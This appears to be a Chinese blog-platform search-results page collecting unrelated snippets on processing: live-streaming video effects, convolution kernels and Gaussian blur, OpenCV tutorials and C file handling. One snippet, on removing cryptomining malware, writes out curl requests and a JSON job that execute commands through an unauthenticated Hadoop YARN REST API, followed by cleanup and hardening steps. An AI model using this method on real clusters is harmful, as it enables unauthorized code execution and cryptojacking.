精华内容
参与话题
问答
  • 视频直播技术详解之处理

    千次阅读 2016-09-01 08:38:34
    声明:本文为CSDN原创投稿文章,未经许可,禁止任何形式的转载。 作者:七牛云 责编:钱曙光,关注架构和算法领域,寻求报道或者投稿请发邮件qianshg@csdn.net,另有「CSDN 高级架构师群」,内有诸多知名互联网...

    声明:本文为CSDN原创投稿文章,未经许可,禁止任何形式的转载。
    作者:七牛云
    责编:钱曙光,关注架构和算法领域,寻求报道或者投稿请发邮件qianshg@csdn.net,另有「CSDN 高级架构师群」,内有诸多知名互联网公司的大牛架构师,欢迎架构师加微信qshuguang2008申请入群,备注姓名+公司+职位。

    七牛云于6月底发布了一个针对视频直播的实时流网络LiveNet和完整的直播云解决方案,很多开发者对这个网络和解决方案的细节和使用场景非常感兴趣。

    结合该实时流网络LiveNet和直播云解决方案的实践,我们将用七篇文章,更系统化地介绍当下大热的视频直播各环节的关键技术,帮助视频直播创业者们更全面、深入地了解视频直播技术,更好地技术选型。

    本系列文章大纲如下:

    (一)采集
    (二)处理
    (三)编码和封装
    (四)推流和传输
    (五)现代播放器原理
    (六)延迟优化
    (七)SDK性能测试模型

    在上期采集中,我们介绍了视频采集针对音频采集和图像采集以及它们分别对应两种完全不同的输入源和数据格式。本篇是《解密视频直播技术》系列之二:处理。我们将讲解常见视频处理功能如美颜、视频水印、滤镜、连麦等。

    视频或者音频完成采集之后得到原始数据,为了增强一些现场效果或者加上一些额外的效果,我们一般会在将其编码压缩前进行处理,比如打上时间戳或者公司Logo的水印,祛斑美颜和声音混淆等处理。在主播和观众连麦场景中,主播需要和某个或者多个观众进行对话,并将对话结果实时分享给其他所有观众,连麦的处理也有部分工作在推流端完成。

    一、开放式设计

    图片描述

    如上图所示,处理环节中分为音频和视频处理,音频处理中具体包含混音、降噪和声音特效等处理,视频处理中包含美颜、水印、以及各种自定义滤镜等处理。对于七牛这样的直播云服务来说,为了满足所有客户的需求,除了要提供这些「标准」处理功能之外,我们还需要将该模块设计成可自由接入自定义处理功能的方式。

    二、常见视频处理功能

    1. 美颜

    都说「80%的主播没有美颜根本没法看」,美颜是直播产品中最常见的功能之一。最近准备在香港上市的美图公司的主打产品就是美颜相机和美拍,有媒体戏称其会冲击化妆品行业,其实就是美颜的效果的功劳,让美女主播们不化妆也可以自信的直播,而美颜相机的用户则可以拍出「更好的自己」。

    美颜的主要原理是通过「磨皮+美白」来达到整体美颜的效果。磨皮的技术术语是「去噪」,也即对图像中的噪点进行去除或者模糊化处理,常见的去噪算法有均值模糊、高斯模糊和中值滤波等。当然,由于脸部的每个部位不尽相同,脸上的雀斑可能呈现出眼睛黑点的样子,对整张图像进行「去噪」处理的时候不需要将眼睛也去掉,因此这个环节中也涉及到人脸和皮肤检测技术。

    七牛直播云提供的iOS和Android推流SDK中内置了美颜功能,你可以根据自己的需要选择开关美颜功能,并且能够自由调节包括美颜,美白,红润等在内的参数。其中iOS端SDK PLCameraStreamingKit的参数设置如下:

    1)按照默认参数开启或关闭美颜
    -(void)setBeautifyModeOn:(BOOL)beautifyModeOn;

    2)设置美颜程度,范围为0~1
    -(void)setBeautify:(CGFloat)beautify;

    3)设置美白程度,范围为0~1
    -(void)setWhiten:(CGFloat)whiten;

    4)设置红润程度,范围为0~1
    -(void)setRedden:(CGFloat)redden;

    2. 视频水印

    水印是图片和视频内容中常见的功能之一,它可用于简单是版权保护,或者进行广告设置。处于监管的需求,国家相关部门也规定视频直播过程中必须打上水印,同时直播的视频必须录制存储下来保存一定的时间,并在录制的视频上打上水印。

    视频水印包括播放器水印和视频内嵌水印两种方式可供选择,对于播放器水印来说,如果没有有效的防盗措施,对于没有播放鉴权的推流,客户端拿到直播流之后可以在任何一个不带水印的播放器里面播放,因此也就失去了视频保护的能力。综合考虑云端录制对于水印的需求,我们一般会选择「视频内嵌水印」的方式打水印。

    七牛直播云提供的iOS和Android推流SDK中也内置了水印功能,你可以根据自己的需要添加水印或移除水印,并且能够自由设置水印的大小和位置。其中iOS端SDK PLCameraStreamingKit的参数设置如下:

    1)添加水印

    -(void)setWaterMarkWithImage:(UIImage *)wateMarkImage position:(CGPoint)position;

    该方法将为直播流添加一个水印,水印的大小由wateMarkImage的大小决定,位置由position决定,需要注意的是这些值都是以采集数据的像素点为单位的。例如我们使用AVCaptureSessionPreset1280x720进行采集,同时wateMarkImage.size为(100, 100)对应的origin为(200, 300),那么水印的位置将在大小为1280x720的采集画幅中位于(200, 300)的位置,大小为(100, 100)。

    2)移除水印

    -(void)clearWaterMark;

    3. 滤镜

    除了上面提到的美颜和水印之外,视频中还有很多其它的处理效果也在这个环节完成。七牛直播云提供的SDK在开放性设计基础之上,通过数据源回调接口,可以支持各种自定义滤镜的接入。

    为了实现丰富的滤镜效果,在iOS端可以考虑使用GPUImage这个库,这是一个开源的基于GPU的图片或视频的处理框架,内置了多达120多种常见的滤镜效果。有了它,添加实时的滤镜只需要简单地添加几行代码,还可以基于这个库自己写算法实现更丰富端效果。GPUImage地址:https://github.com/BradLarson/GPUImage

    除了iOS端之外,Android也有GPUImage这个库的移植:https://github.com/CyberAgent/android-gpuimage

    同时,Google官方也开源了一个伟大的库,覆盖了Android上面很多多媒体和图形图像相关的处理:https://github.com/google/grafika

    4. 连麦

    图片描述

    连麦是互动直播中常见的需求,其流程如上图所示。主播和部分观众之间可以进行实时互动,然后将互动结果实时播放给其他观众观看。基于以上业务需求,我们很容易想到基于单向直播原理,在主播端和连麦观众端进行双向推流和双向播流的方式互动,然后在服务端将两路推流合成一路推送给其他观众。但RTMP带来的延迟决定了这种方式无法做到用户可接受的互动直播。实际上,互动直播的主要技术难点在于:

    1)低延迟互动:保证主播和互动观众之间能够实时互动,两者之间就像电话沟通,因此必须保证两者能在秒级以内听到对方的声音,看到对方的视频;

    2)音画同步:互动直播中对音画同步的需求和单向直播中类似,只不过互动直播中的延迟要求更高,必须保证在音视频秒级传输情况下的秒级同步。

    3)音视频实时合成:其他观众需要实时观看到对话结果,因此需要在客户端或者服务端将画面和声音实时合成,然后以低成本高品质的方式传输观众端。

    在视频和电话会议领域,目前比较成熟的方案是使用思科或者WebEx的方案,但这些商用的方案一不开源,二比较封闭,三成本比较高。对于互动人数比较少的互动直播,目前市场上比较成熟的方案是使用基于WebRTC的实时通讯方案。

    图片描述

    上图是一个基于WebRTC协议实现多方实时通讯的示意图,本地用户(主播)和远程用户(连麦观众)之间的连接通过RTCPeerConnection API管理,这个API包装了底层流管理和信令控制相关的细节。基于该方案可以轻松实现多人(14人以下)的多方实时通信,如下图所示:

    图片描述

    当然,在通信人数少的情况下,其复杂度相对简单,如2人情况下。但人数增多至4人之后,其可选的网络结构就增多了,如上图所示,可以每个点之间形成自组织网络的方式通信,也可以以1人为中心形成星型通信网络,还可以让大家都通过一个集中式的服务端进行通信。

    图片描述

    作为一个高性能、可伸缩的直播基础服务提供商,七牛直播云经过评估选择了以主播为中心形成星形通信网络,支持主播和多个观众之间的互动质量。同时,为了保证合成后的音视频实时传输到其他观众端,这里采用经过改造的UDP协议传输:

    1. 通过UDP降低传输延迟;
    2. 在UDP之上进行传输控制,保证用户互动体验QoS。

    在下一篇连载中,我们将介绍现代播放器原理,敬请期待!


    2016年9月22日-23日,SDCC 2016大数据技术&架构实战峰会将在杭州举行,两场峰会大牛讲师来自阿里、京东、苏宁、唯品会、美团点评、游族、饿了么、有赞、Echo等知名互联网公司,共同探讨海量数据下的应用监控系统建设、异常检测的算法和实现、大数据基础架构实践、敏捷型数据平台的构建及应用、音频分析的机器学习算法应用,以及高可用/高并发/高性能系统架构设计、电商架构、分布式架构等话题与技术。
    9月4日24点前仍处于最低六折优惠票价阶段,单场峰会(含餐)门票只需499元,5人以上团购或者购买两场峰会通票更有特惠,限时折扣,预购从速。(票务详情链接)。

    展开全文
  • 服务器被挖矿后如何处理

    千次阅读 2018-08-19 17:07:11
    挖矿会使服务器硬件资源,如:CPU、内存消耗极大,但是一般运维人员处理挖矿攻击时最头疼的就是处理不干净,其实挖矿攻击能够成功主要方式是通过服务器安装的第三方工具内在的对外RestAPI进行的,这些第三方工具如果...

    挖矿会使服务器硬件资源,如:CPU、内存消耗极大,但是一般运维人员处理挖矿攻击时最头疼的就是处理不干净,其实挖矿攻击能够成功主要方式是通过服务器安装的第三方工具内在的对外RestAPI进行的,这些第三方工具如果API存在漏洞就会很大程度被黑客攻击利用开放的端口进行攻击

    攻击步骤:

    1.申请新的application

    直接通过curl进行POST请求

    curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

    返回内容类似于:

    {"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}  

    2.构造并提交任务

    构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:

    
     
    1. {  

    2.     "am-container-spec":{  

    3.         "commands":{  

    4.             "command":"echo '111' > /var/tmp/11112222_test_11112222"

    5.  
    6.         }  

    7.     },  

    8.     "application-id":"application_1527144634877_20465",  

    9.     "application-name":"test",  

    10.     "application-type":"YARN"  

    11. }  

    然后直接

    curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

    即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件

     

    处理方式:

    
     
    1. 1.pkill -f cryptonight  

    2. 2.pkill -f sustes  

    3. 3.pkill -f xmrig  

    4. 4.pkill -f xmr-stak  

    5. 5.pkill -f suppoie  

    6. 6.ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9  

    7. 7.ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9  

    8. 8.rm -rf /var/tmp/pscf*  

    9. 9.rm -rf /tmp/pscf*

     

    清理病毒

    1. 使用top查看进程,kill掉异常进程
    2. 检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
    3. 检查crontab任务列表,删除异常任务
    4. 排查YARN日志,确认异常的application,删除处理

     

    安全加固

    1. 通过iptables或者安全组配置访问策略,限制对8088等端口的访问
    2. 如无必要,不要将接口开放在公网,改为本地或者内网调用
    3. 升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
    4. 云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损

     

    最后查看/var/spool/cron/crontabs/root 定时任务是否被串改

    展开全文
  • 处理

    2012-04-24 22:03:55
    这章都是什么啊?看着还好,今天编程就编不对。 明天吧,把代码发来!就这些吧。

    这章都是什么啊?看着还好,今天编程就编不对。

    明天吧,把代码发来!就这些吧。

    展开全文
  • 图像处理算法其实都很简单

    万次阅读 多人点赞 2018-05-03 16:07:12
     线性滤波可以说是图像处理最基本的方法,它可以允许我们对图像进行处理,产生很多不同的效果。做法很简单。首先,我们有一个二维的滤波器矩阵(有个高大上的名字叫卷积核)和一个要处理的二维图像。然后,对于图像...
    要学习高斯模糊我们首先要知道一些基本概念:
    

    线性滤波与卷积的基本概念

          线性滤波可以说是图像处理最基本的方法,它可以允许我们对图像进行处理,产生很多不同的效果。做法很简单。首先,我们有一个二维的滤波器矩阵(有个高大上的名字叫卷积核)和一个要处理的二维图像。然后,对于图像的每一个像素点,计算它的邻域像素和滤波器矩阵的对应元素的乘积,然后加起来,作为该像素位置的值。这样就完成了滤波过程。

          对图像和滤波矩阵进行逐个元素相乘再求和的操作就相当于将一个二维的函数移动到另一个二维函数的所有位置,这个操作就叫卷积或者协相关。卷积和协相关的差别是,卷积需要先对滤波矩阵进行180的翻转,但如果矩阵是对称的,那么两者就没有什么差别了。

          Correlation 和 Convolution可以说是图像处理最基本的操作,但却非常有用。这两个操作有两个非常关键的特点:它们是线性的,而且具有平移不变性shift-invariant。平移不变性指我们在图像的每个位置都执行相同的操作。线性指这个操作是线性的,也就是我们用每个像素的邻域的线性组合来代替这个像素。这两个属性使得这个操作非常简单,因为线性操作是最简单的,然后在所有地方都做同样的操作就更简单了。

          实际上,在信号处理领域,卷积有广泛的意义,而且有其严格的数学定义,但在这里不关注这个。

          2D卷积需要4个嵌套循环4-double loop,所以它并不快,除非我们使用很小的卷积核。这里一般使用3x3或者5x5。而且,对于滤波器,也有一定的规则要求:

          1)滤波器的大小应该是奇数,这样它才有一个中心,例如3x3,5x5或者7x7。有中心了,也有了半径的称呼,例如5x5大小的核的半径就是2。

          2)滤波器矩阵所有的元素之和应该要等于1,这是为了保证滤波前后图像的亮度保持不变。当然了,这不是硬性要求了。

          3)如果滤波器矩阵所有元素之和大于1,那么滤波后的图像就会比原图像更亮,反之,如果小于1,那么得到的图像就会变暗。如果和为0,图像不会变黑,但也会非常暗。

          4)对于滤波后的结构,可能会出现负数或者大于255的数值。对这种情况,我们将他们直接截断到0和255之间即可。对于负数,也可以取绝对值。

    神奇的卷积核

          上面说到,对图像的滤波处理就是对图像应用一个小小的卷积核,那这个小小的卷积核到底有哪些魔法。下面我们一起来领略下一些简单但不简单的卷积核的魔法。

     

    1、啥也不做

     

          哈哈,大家可以看到啥了吗?这个滤波器啥也没有做,得到的图像和原图是一样的。因为只有中心点的值是1。邻域点的权值都是0,对滤波后的取值没有任何影响。

     

     

          下面我们动点真格的。

     

    2、图像锐化滤波器Sharpness Filter

     

          图像的锐化和边缘检测很像,首先找到边缘,然后把边缘加到原来的图像上面,这样就强化了图像的边缘,使图像看起来更加锐利了。这两者操作统一起来就是锐化滤波器了,也就是在边缘检测滤波器的基础上,再在中心的位置加1,这样滤波后的图像就会和原始的图像具有同样的亮度了,但是会更加锐利。

     

     

          我们把核加大,就可以得到更加精细的锐化效果

     

     

          另外,下面的滤波器会更强调边缘:

     

     

          主要是强调图像的细节。最简单的3x3的锐化滤波器如下:

     

                                          

     

          大家应该也看出来了,锐化滤波器实际上就是计算当前点和周围点的差别,然后将这个差别加到原来的位置上。

     

    3、边缘检测Edge Detection

     

          我们要找水平的边缘:需要注意的是,这里矩阵的元素和是0,所以滤波后的图像会很暗,只有边缘的地方是有亮度的。

     

     

          为什么这个滤波器可以寻找到水平边缘呢?因为用这个滤波器卷积相当于求导的离散版本:你将当前的像素值减去前一个像素值,这样你就可以得到这个函数在这两个位置的差别或者斜率。下面的滤波器可以找到垂直方向的边缘,这里像素上和下的像素值都使用:

     

     

          再下面这个滤波器可以找到45度的边缘:取-2不为了什么,只是为了让矩阵的元素和为0而已。

     

     

          那下面这个滤波器就可以检测所有方向的边缘:

     

                                          

     

          为了检测边缘,我们需要在图像对应的方向计算梯度。用下面的卷积核来卷积图像,就可以了。但在实际中,这种简单的方法会把噪声也放大了。另外,需要注意的是,矩阵所有的值加起来要是0.

     

                                           

     

    4、浮雕Embossing Filter

     

          浮雕滤波器可以给图像一种3D阴影的效果。只要将中心一边的像素减去另一边的像素就可以了。这时候,像素值有可能是负数,我们将负数当成阴影,将正数当成光,然后我们对结果图像加上128的偏移。这时候,图像大部分就变成灰色了。

     

          下面是45度的浮雕滤波器

     

     

          我们只要加大滤波器,就可以得到更加夸张的效果了

     

     

          这种效果非常的漂亮,就像是将一副图像雕刻在一块石头上面一样,然后从一个方向照亮它。它和前面的滤波器不同,它是非对称的。另外,它会产生负数值,所以我们需要将结果偏移,以得到图像灰度的范围。

     

     

     

                                                          A:原图像。B:锐化。C:边缘检测。D:浮雕

     

    5、运动模糊Motion Blur

          运动模糊可以通过只在一个方向模糊达到,例如下面9x9的运动模糊滤波器。注意,求和结果要除以9。

     

          这个效果就好像,摄像机是从左上角移动的右下角。

     

      看了一些好玩的滤波器后我们可以进入主题了,首先来看均值模糊:

    均值模糊Box Filter (Averaging)

     

          我们可以将当前像素和它的四邻域的像素一起取平均,然后再除以5,或者直接在滤波器的5个地方取0.2的值即可,如下图:

     

     

          可以看到,这个模糊还是比较温柔的,我们可以把滤波器变大,这样就会变得粗暴了:注意要将和再除以13.

     

     

          所以,如果你想要更模糊的效果,加大滤波器的大小即可。或者对图像应用多次模糊也可以。

     

     

     

     

     

     

     

    高斯模糊

          其实模糊滤波器就是对周围像素进行加权平均处理,均值模糊很简单,周围像素的权值都相同,所以不是很平滑。高斯模糊就有这个优点,所以被广泛用在图像降噪上。特别是在边缘检测之前,都会用来移除细节。那么下面我们就看看高斯模糊的权值是如何分配的。

     

    正态分布的权重
      正态分布显然是一种可取的权重分配模式。在图形上,正态分布是一种钟形曲线,越接近中心,取值越大,越远离中心,取值越小。计算平均值的时候,我们只需要将"中心点"作为原点,其他点按照其在正态曲线上的位置,分配权重,就可以得到一个加权平均值。
    高斯函数
      上面的正态分布是一维的,图像都是二维的,所以我们需要二维的正态分布
    正态分布的密度函数叫做"高斯函数"(Gaussian function)。它的一维形式是:
    一维形式
      其中,μ是x的均值,σ是x的标准差。因为计算平均值的时候,中心点就是原点,所以μ等于0。即:
    进一步推导
      根据一维高斯函数,可以推导得到二维高斯函数:
    二维高斯函数
      有了这个函数 ,就可以计算每个点的权重了。
      假定中心点的坐标是(0,0),那么距离它最近的8个点的坐标如下:
    权重矩阵
      更远的点以此类推。下面就是5*5的高斯滤波器和平滑效果:

     

    展开全文
  • C语言文件处理基础整理

    千次阅读 2018-06-06 17:26:54
    一、文件的打开和关闭1、基础知识1、文件名包括文件路径,文件名主干和文件后缀2、文件包括数据文件和程序文件,数据文件又分为ASCII文件和二进制文件。在外存中,ASCII文件是以...但ASCII对字符的处理较为方便。...
  • 06-SNAP处理Sentinel-1 IW SLC数据(极化SAR预处理)

    万次阅读 多人点赞 2020-04-15 00:18:21
    网上有一些关于SNAP处理Sentinel-1A 数据的例子,但是处理的数据基本是都是GRDH级的数据,不是SLC级的数据。现阶段多数人处理Sentinel系列数据大都是利用ENVI软件进行的,然而ENVI等处理软件都是商业软件,尽管可以...
  • 首先需要明白�这个字符是什么意思,是怎么产生的 解释:从某编码向Unicode编码转化时,如果没有对应的字符,得到的将是Unicode的代码“\uffffd”,也就是�这个字符。 比如:服务器端用GB2312对响应的数据进行...
  • Python+OpenCV实时图像处理

    万次阅读 多人点赞 2020-01-04 23:09:35
    初学OpenCV图像处理的小伙伴肯定对什么高斯函数、滤波处理、阈值二值化等特性非常头疼,这里给各位分享一个小项目,可通过摄像头实时动态查看各类图像处理的特点,也可对各位调参、测试有一定帮助。
  • 基于OpenCVSharp的图像处理软件

    万次阅读 多人点赞 2019-01-08 19:32:47
    目录 ...目的在于方便图像处理人员在具体编写OpenCV程序前,提前能够对图像进行简单处理,进而帮助开发人员分析该如何对图像进行处理。 使用C#对界面和逻辑进行开发。界面开发的工具有很多,例如使...
  • OpenCV3基础——几种基本的图像处理

    万次阅读 多人点赞 2018-05-25 13:00:05
    虽然单单要做车牌号识别的话不需要特别多种类的图像处理,但是我们不能只是为了这么一个目标去学习,所以这次就讲一些OpenCV里基本的图像处理,大家以后可以根据需求使用不同的图像处理。 一、图像显示 这一步在...
  • 本系列文章由zhmxy555(毛星云)编写,转载请...毛星云(浅墨) 邮箱: happylifemxy@163.com  写作当前博文时配套使用OpenCV版本:2.4.8因为读研期间的研究方向是图像处理,所以浅墨这段时间闭门研究了很多OpenCV
  • OpenCV和MFC的实例+界面程序+各种图像处理操作

    千次下载 热门讨论 2013-06-18 22:42:13
    有良好的mfc界面,可以打开图像、视频,并作简单的数字图象处理,视频目标检测、跟踪等等,包含大量的基础算法,基于opencv1.0和vc6.0(vs2008)都可以应用,不用安装,直接编译运行就可以,对于初学者熟悉opencv的...
  • OpenCV图像处理基础——基于C++实现

    千人学习 2020-04-10 00:21:08
    OpenCV图像处理基础——基于C++实现版本视频培训课程概况:教程中会讲解到OpenCV的基础知识及使用方法,并基于OpenCV实现基础的图像处理算法;除此之外课程包含如下的内容: 图像颜色空间及类型转换及应用(BGR...
  • #include<opencv2/highgui/highgui.hpp>//包括图形界面和视频图像处理的头文件 #include<iostream>//每个c++程序必须包含的头文件 #include<opencv2/imgproc/imgproc.hpp> void sharpen(const cv::Mat &image, cv::...
  • 在上篇中我们已经实现了相机打开和实时图像信息的获取,那么接下来我们可以尝试在获取的图像信息进行一些处理,然后实时显示出来,在这里我们要完成的的几种处理:  灰化、Canny边缘检测、Hist直方图计算、Sobel...
  • OpenCv专栏:https://blog.csdn.net/qq_40515692/article/details/102885061 2020/2/5更新: ...VS2019/VS2017 OpenCv配置: VS对于C++配置外部库有两种方式,另一种写在了后面,这里介绍的是新建配置...
  • [Python图像处理] 二.OpenCV+Numpy库读取与修改像素

    万次阅读 多人点赞 2018-08-28 08:33:54
    该系列文章是讲解Python OpenCV图像处理知识,前期主要讲解图像入门、OpenCV基础用法,中期讲解图像处理的各种算法,包括图像锐化算子、图像增强技术、图像分割等,后期结合深度学习研究图像识别、图像分类应用。...
  • OpenCV与MFC通用型图像处理开发实践

    千次阅读 2014-04-30 23:15:33
    该程序的起源说来话长,它起源自上课的一次作业,后来又由于接触了OpenCV这个开源库,我就试图将OpenCV和MFC搓到一块,毕竟微软近来在界面上也下了狠功夫,尤其是Windows 7大获成功,而WP7.5和Windows 8跃跃欲试。...
  • 红胖子(红模仿)的博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结合等等)持续更新中…(点击传送门) Qt开发专栏:项目实战(点击传送门) OpenCV开发专栏...
  • OpenCV2学习笔记(九):视频流读取与处理

    万次阅读 多人点赞 2015-03-05 17:19:48
    由于项目需要,计划实现九路视频拼接,因此必须熟悉OpenCV对视频序列的处理。视频信号处理是图像处理的一个延伸,所谓的视频序列是由按一定顺序进行排放的图像组成,即帧(Frame)。在这里,主要记录下如何使用Qt+...
  • OpenCV图像处理】二、图像的二值化操作

    万次阅读 多人点赞 2017-02-19 14:36:11
    图像的逻辑运算就是将两幅图像的对应像素进行逻辑运算。逻辑运算主要包括 与(AND)或(OR)及补运算。要对灰度图像进行逻辑运算,...下面使用OpenCV和C++实现图像的二值化过程。 //对一幅图像进行二值化 #incl...
  • OpenCV学习数字图像处理

    千次阅读 2018-02-01 21:23:36
    OpenCV是学习数字图像处理的好工具,本专栏拟打算从对OpenCV源码的学习来研究数字图像处理中的基本操作。我开设本专栏不为别的,只希望能系统地学习OpenCV,并把我支离破碎的数字图像处理知识好好理一理。当然,最终...
  • OpenCV图像处理编程实例》-源码-20160801

    千次下载 热门讨论 2016-08-06 12:11:52
    OpenCV图像处理编程实例》-源码,最新更新20160801,支持OpenCV3.1+VS2015,修改若干程序中错误,如遇问题欢迎反馈到zhu1988wei@163.com
  • C++数字图像处理OpenCV的常用操作

    万次阅读 2018-06-20 22:11:16
    1、图像读取2、图像显示3、获取图像的属性4、图像遍历的几种方式
  • opencv处理视频文件

    千次阅读 2019-04-24 19:50:11
    使用C++、opencv处理视频文件 视频也可以理解为图像,只不过是大量的图像一张一张联系在一起,即视频的一帧一帧,视频的每一帧都是一副图像,所以对视频的处理等同于处理图像,只不过需要对视频的每一张(每一帧)...
  • 使用Andorid手机图像识别的项目,需要在屏幕上实时显示图像处理后的效果。需要具备以下几个特点: 1、使用Android手机摄像头; 2、能够进行实时图像识别、图像处理; 3、最终手机屏幕上只实时显示处理后的效果...
  • 使用opencv在Qt中实现卡通化视频处理

    千次阅读 2016-04-27 17:55:40
    本文主要在Qt中使用opencv进行编程,实现了简易的摄像头播放及其卡通化处理功能,编程环境为Qt5.5.1+opencv2.4.6,实现的关键是将Mat变量转换为QImage变量,并使用QLabel进行显示。 二、环境配置 首先需要安装Qt ...
  • python 使用OpenCV库实现图像处理

    千次阅读 2019-01-03 13:28:01
    OpenCV是一个C++库,目前流行的计算机视觉编程库,用于实时处理计算机视觉方面的问题,它涵盖了很多计算机视觉领域的模块 一:OpenCV安装 pip install opencv-python 如果安装失败的话,直接下载whl安装包进行...
  • python 常用的图像处理技术有两种方法,一种是 opencv,另一种是 pytesseract。 opencv 进行图像处理的话,我们需要安装 opencv-python 和 numpy 这两个库,直接用 pip install 安装就好了。 numpy 的作用是:进行...
  • 跟着网上的教程用树莓派装了opencv 然后也运行了一些简单的图像处理 识别分割啥的但是感觉效果都好差。。本科生想出去参加竞赛来着。做机器人 拿树莓派做上位机再加上 跑opencv+cnn等等。。。 会不会arm根本忙不过来...

空空如也

1 2 3 4 5 ... 20
收藏数 8,652,486
精华内容 3,460,994
关键字:

处理